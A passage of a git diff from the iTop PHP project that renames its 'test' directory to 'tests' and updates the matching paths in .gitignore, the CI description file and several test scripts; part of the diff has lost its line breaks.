 rename {test => tests}/php-unit-tests/legacy-tests/test.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/testlist.inc.php (100%)
 rename {test => tests}/php-unit-tests/phpunit.xml.dist (100%)
 rename {test => tests}/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php (100%)
 rename {test => tests}/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php (100%)
 rename {test => tests}/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php (100%)
 rename {test => tests}/php-unit-tests/postbuild_integration.xml.dist (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/application/utilsTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/CMDBObjectTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBObjectTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBSearchTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ExpressionTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/LogAPITest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/MetaModelTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/OQLParserTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/OQLTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/TriggerTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/UserRightsTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php (97%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/apcEmulationTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/dictApcuTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/dictTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/mockDict.incphp (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ormLinkSetTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/ormTagSetTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php (99%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/README.txt (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php (98%)
 rename {test => tests}/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/setup/DBBackupTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/status/StatusIncTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/status/StatusTest.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/status/status.php (100%)
 rename {test => tests}/php-unit-tests/unitary-tests/webservices/RestTest.php (100%)
 rename {test => tests}/php-unit-tests/unittestautoload.php (100%)
 rename {test => tests}/setup_params/default-params.xml (100%)
 rename {test => tests}/setup_params/setup.xml (100%)

diff --git a/.gitignore b/.gitignore
index 8a46f7b20..3084ea2c3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,7 +8,7 @@
 
 # composer reserver directory, from sources, populate/update using "composer install"
 vendor/*
-test/*/vendor/*
+tests/*/vendor/*
 
 # all conf but listing prevention
 /conf/**
@@ -33,7 +33,7 @@ test/*/vendor/*
 !/log/web.config
 
 # PHPUnit cache file
-/test/php-unit-tests/.phpunit.result.cache
+/tests/php-unit-tests/.phpunit.result.cache
 
 
 # Jetbrains
diff --git a/test/ci_description.ini b/test/ci_description.ini
deleted file mode 100644
index ed14d2c87..000000000
--- a/test/ci_description.ini
+++ /dev/null
@@ -1,8 +0,0 @@
-[itop]
-itop_setup=test/setup_params/default-params.xml
-itop_backup=test/backups/backup-itop.tar.gz
-
-[phpunit]
-; when empty phpunit_xml => no phpunit test performed
-; phpunit xml file description. required for phpunit testing
-phpunit_xml=test/php-unit-tests/phpunit.xml.dist
diff --git a/test/backups/backup-itop.tar.gz b/tests/backups/backup-itop.tar.gz
similarity index 100%
rename from test/backups/backup-itop.tar.gz
rename to tests/backups/backup-itop.tar.gz
diff --git a/tests/ci_description.ini b/tests/ci_description.ini
new file mode 100644
index 000000000..65396a54f
--- /dev/null
+++ b/tests/ci_description.ini
@@ -0,0 +1,8 @@
+[itop]
+itop_setup=tests/setup_params/default-params.xml
+itop_backup=tests/backups/backup-itop.tar.gz
+
+[phpunit]
+; when empty phpunit_xml => no phpunit test performed
+; phpunit xml file description. required for phpunit testing
+phpunit_xml=tests/php-unit-tests/phpunit.xml.dist
diff --git a/test/manual-visual-tests/attributeset_widget_poc.html b/tests/manual-visual-tests/attributeset_widget_poc.html
similarity index 100%
rename from test/manual-visual-tests/attributeset_widget_poc.html
rename to tests/manual-visual-tests/attributeset_widget_poc.html
diff --git a/test/manual-visual-tests/sanitize_test.php b/tests/manual-visual-tests/sanitize_test.php
similarity index 100%
rename from test/manual-visual-tests/sanitize_test.php
rename to tests/manual-visual-tests/sanitize_test.php
diff --git a/test/php-unit-tests/ItopDataTestCase.php b/tests/php-unit-tests/ItopDataTestCase.php
similarity index 100%
rename from test/php-unit-tests/ItopDataTestCase.php
rename to tests/php-unit-tests/ItopDataTestCase.php
diff --git a/test/php-unit-tests/ItopTestCase.php b/tests/php-unit-tests/ItopTestCase.php
similarity index 100%
rename from test/php-unit-tests/ItopTestCase.php
rename to tests/php-unit-tests/ItopTestCase.php
diff --git a/test/php-unit-tests/README.md b/tests/php-unit-tests/README.md
similarity index 100%
rename from test/php-unit-tests/README.md
rename to tests/php-unit-tests/README.md
diff --git a/test/php-unit-tests/composer.json b/tests/php-unit-tests/composer.json
similarity index 100%
rename from test/php-unit-tests/composer.json
rename to tests/php-unit-tests/composer.json
diff --git a/test/php-unit-tests/integration-tests/DictionariesConsistencyTest.php b/tests/php-unit-tests/integration-tests/DictionariesConsistencyTest.php
similarity index 100%
rename from test/php-unit-tests/integration-tests/DictionariesConsistencyTest.php
rename to tests/php-unit-tests/integration-tests/DictionariesConsistencyTest.php
diff --git a/test/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php b/tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php
rename to tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php
diff --git a/test/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php b/tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php
similarity index 100%
rename from test/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php
rename to tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php
diff --git a/test/php-unit-tests/legacy-tests/GroupByAndFunctions.php b/tests/php-unit-tests/legacy-tests/GroupByAndFunctions.php
similarity index 99%
rename from test/php-unit-tests/legacy-tests/GroupByAndFunctions.php
rename to tests/php-unit-tests/legacy-tests/GroupByAndFunctions.php
index 8806dd737..15e2c3e77 100644
--- a/test/php-unit-tests/legacy-tests/GroupByAndFunctions.php
+++ b/tests/php-unit-tests/legacy-tests/GroupByAndFunctions.php
@@ -41,7 +41,7 @@ else
 }
 $bError = false;
 $oP = new iTopWebPage('Database inconsistencies');
-$oP->set_base(utils::GetAbsoluteUrlAppRoot().'test/');
+$oP->set_base(utils::GetAbsoluteUrlAppRoot().'tests/');
 $oP->set_title('Grouping with functions');
 $oP->add('

Grouping with functions

'); $oP->add('
'); diff --git a/test/php-unit-tests/legacy-tests/README.md b/tests/php-unit-tests/legacy-tests/README.md similarity index 100% rename from test/php-unit-tests/legacy-tests/README.md rename to tests/php-unit-tests/legacy-tests/README.md diff --git a/test/php-unit-tests/legacy-tests/VerifyOQL.php b/tests/php-unit-tests/legacy-tests/VerifyOQL.php similarity index 100% rename from test/php-unit-tests/legacy-tests/VerifyOQL.php rename to tests/php-unit-tests/legacy-tests/VerifyOQL.php diff --git a/test/php-unit-tests/legacy-tests/benchmark.php b/tests/php-unit-tests/legacy-tests/benchmark.php similarity index 100% rename from test/php-unit-tests/legacy-tests/benchmark.php rename to tests/php-unit-tests/legacy-tests/benchmark.php diff --git a/test/php-unit-tests/legacy-tests/build_test_oql.php b/tests/php-unit-tests/legacy-tests/build_test_oql.php similarity index 97% rename from test/php-unit-tests/legacy-tests/build_test_oql.php rename to tests/php-unit-tests/legacy-tests/build_test_oql.php index 109598ab1..0a3fd8c02 100644 --- a/test/php-unit-tests/legacy-tests/build_test_oql.php +++ b/tests/php-unit-tests/legacy-tests/build_test_oql.php @@ -28,7 +28,7 @@ require_once(APPROOT.'application/startup.inc.php'); \LoginWebPage::DoLogin(true); $sOQLFile = APPROOT.'log/oql_records.txt'; -$sTestFile = APPROOT.'test/core/oql_records.php'; +$sTestFile = APPROOT.'tests/core/oql_records.php'; $oTestHandle = @fopen($sTestFile, "w"); @@ -77,7 +77,7 @@ echo "File '$sTestFile' generated with $iCount entries (from $iRead captured OQL $sOQLFile = APPROOT.'log/oql_group_by_records.txt'; -$sTestFile = APPROOT.'test/core/oql_group_by_records.php'; +$sTestFile = APPROOT.'tests/core/oql_group_by_records.php'; $oTestHandle = @fopen($sTestFile, "w"); diff --git a/test/php-unit-tests/legacy-tests/config-test-farm.php b/tests/php-unit-tests/legacy-tests/config-test-farm.php similarity index 100% rename from test/php-unit-tests/legacy-tests/config-test-farm.php rename to tests/php-unit-tests/legacy-tests/config-test-farm.php diff --git a/test/php-unit-tests/legacy-tests/display_cache_content.php b/tests/php-unit-tests/legacy-tests/display_cache_content.php similarity index 100% rename from test/php-unit-tests/legacy-tests/display_cache_content.php rename to tests/php-unit-tests/legacy-tests/display_cache_content.php diff --git a/test/php-unit-tests/legacy-tests/replay_query_log.php b/tests/php-unit-tests/legacy-tests/replay_query_log.php similarity index 100% rename from test/php-unit-tests/legacy-tests/replay_query_log.php rename to tests/php-unit-tests/legacy-tests/replay_query_log.php diff --git a/test/php-unit-tests/legacy-tests/test.class.inc.php b/tests/php-unit-tests/legacy-tests/test.class.inc.php similarity index 100% rename from test/php-unit-tests/legacy-tests/test.class.inc.php rename to tests/php-unit-tests/legacy-tests/test.class.inc.php diff --git a/test/php-unit-tests/legacy-tests/test.php b/tests/php-unit-tests/legacy-tests/test.php similarity index 100% rename from test/php-unit-tests/legacy-tests/test.php rename to tests/php-unit-tests/legacy-tests/test.php diff --git a/test/php-unit-tests/legacy-tests/testlist.inc.php b/tests/php-unit-tests/legacy-tests/testlist.inc.php similarity index 100% rename from test/php-unit-tests/legacy-tests/testlist.inc.php rename to tests/php-unit-tests/legacy-tests/testlist.inc.php diff --git a/test/php-unit-tests/phpunit.xml.dist b/tests/php-unit-tests/phpunit.xml.dist similarity index 100% rename from test/php-unit-tests/phpunit.xml.dist rename to tests/php-unit-tests/phpunit.xml.dist diff --git a/test/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php b/tests/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php similarity index 100% rename from test/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php rename to tests/php-unit-tests/post-build-integration-tests/SetupCssIntegrityChecklistTest.php diff --git a/test/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php b/tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php similarity index 100% rename from test/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php rename to tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php diff --git a/test/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php b/tests/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php similarity index 100% rename from test/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php rename to tests/php-unit-tests/post-build-integration-tests/iTopModuleXmlInstallationChecklistTest.php diff --git a/test/php-unit-tests/postbuild_integration.xml.dist b/tests/php-unit-tests/postbuild_integration.xml.dist similarity index 100% rename from test/php-unit-tests/postbuild_integration.xml.dist rename to tests/php-unit-tests/postbuild_integration.xml.dist diff --git a/test/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php b/tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php rename to tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php diff --git a/test/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php b/tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php rename to tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php diff --git a/test/php-unit-tests/unitary-tests/application/utilsTest.php b/tests/php-unit-tests/unitary-tests/application/utilsTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/application/utilsTest.php rename to tests/php-unit-tests/unitary-tests/application/utilsTest.php diff --git a/test/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php b/tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php rename to tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php diff --git a/test/php-unit-tests/unitary-tests/core/CMDBObjectTest.php b/tests/php-unit-tests/unitary-tests/core/CMDBObjectTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/CMDBObjectTest.php rename to tests/php-unit-tests/unitary-tests/core/CMDBObjectTest.php diff --git a/test/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php rename to tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php diff --git a/test/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php rename to tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php diff --git a/test/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php rename to tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php rename to tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigTest.php rename to tests/php-unit-tests/unitary-tests/core/ConfigTest.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php b/tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php rename to tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php b/tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php rename to tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php rename to tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php rename to tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php rename to tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php rename to tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php diff --git a/test/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php rename to tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBObjectTest.php b/tests/php-unit-tests/unitary-tests/core/DBObjectTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBObjectTest.php rename to tests/php-unit-tests/unitary-tests/core/DBObjectTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php rename to tests/php-unit-tests/unitary-tests/core/DBSearchCommitTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php rename to tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php rename to tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBSearchTest.php rename to tests/php-unit-tests/unitary-tests/core/DBSearchTest.php diff --git a/test/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php rename to tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php diff --git a/test/php-unit-tests/unitary-tests/core/ExpressionTest.php b/tests/php-unit-tests/unitary-tests/core/ExpressionTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ExpressionTest.php rename to tests/php-unit-tests/unitary-tests/core/ExpressionTest.php diff --git a/test/php-unit-tests/unitary-tests/core/LogAPITest.php b/tests/php-unit-tests/unitary-tests/core/LogAPITest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/LogAPITest.php rename to tests/php-unit-tests/unitary-tests/core/LogAPITest.php diff --git a/test/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php b/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php rename to tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php diff --git a/test/php-unit-tests/unitary-tests/core/MetaModelTest.php b/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/MetaModelTest.php rename to tests/php-unit-tests/unitary-tests/core/MetaModelTest.php diff --git a/test/php-unit-tests/unitary-tests/core/OQLParserTest.php b/tests/php-unit-tests/unitary-tests/core/OQLParserTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/OQLParserTest.php rename to tests/php-unit-tests/unitary-tests/core/OQLParserTest.php diff --git a/test/php-unit-tests/unitary-tests/core/OQLTest.php b/tests/php-unit-tests/unitary-tests/core/OQLTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/OQLTest.php rename to tests/php-unit-tests/unitary-tests/core/OQLTest.php diff --git a/test/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php b/tests/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php rename to tests/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php diff --git a/test/php-unit-tests/unitary-tests/core/TriggerTest.php b/tests/php-unit-tests/unitary-tests/core/TriggerTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/TriggerTest.php rename to tests/php-unit-tests/unitary-tests/core/TriggerTest.php diff --git a/test/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php b/tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php rename to tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php diff --git a/test/php-unit-tests/unitary-tests/core/UserRightsTest.php b/tests/php-unit-tests/unitary-tests/core/UserRightsTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/UserRightsTest.php rename to tests/php-unit-tests/unitary-tests/core/UserRightsTest.php diff --git a/test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php rename to tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php diff --git a/test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php similarity index 97% rename from test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php rename to tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php index e7a85f62b..a8cef1666 100644 --- a/test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php +++ b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php @@ -11,7 +11,7 @@ class WeeklyScheduledProcessTest extends ItopTestCase { parent::setUp(); require_once(APPROOT.'core/backgroundprocess.inc.php'); - require_once(APPROOT.'test/core/WeeklyScheduledProcessMockConfig.php'); + require_once(APPROOT.'tests/core/WeeklyScheduledProcessMockConfig.php'); } diff --git a/test/php-unit-tests/unitary-tests/core/apcEmulationTest.php b/tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/apcEmulationTest.php rename to tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php diff --git a/test/php-unit-tests/unitary-tests/core/dictApcuTest.php b/tests/php-unit-tests/unitary-tests/core/dictApcuTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/dictApcuTest.php rename to tests/php-unit-tests/unitary-tests/core/dictApcuTest.php diff --git a/test/php-unit-tests/unitary-tests/core/dictTest.php b/tests/php-unit-tests/unitary-tests/core/dictTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/dictTest.php rename to tests/php-unit-tests/unitary-tests/core/dictTest.php diff --git a/test/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php rename to tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php diff --git a/test/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp b/tests/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp similarity index 100% rename from test/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp rename to tests/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp diff --git a/test/php-unit-tests/unitary-tests/core/mockDict.incphp 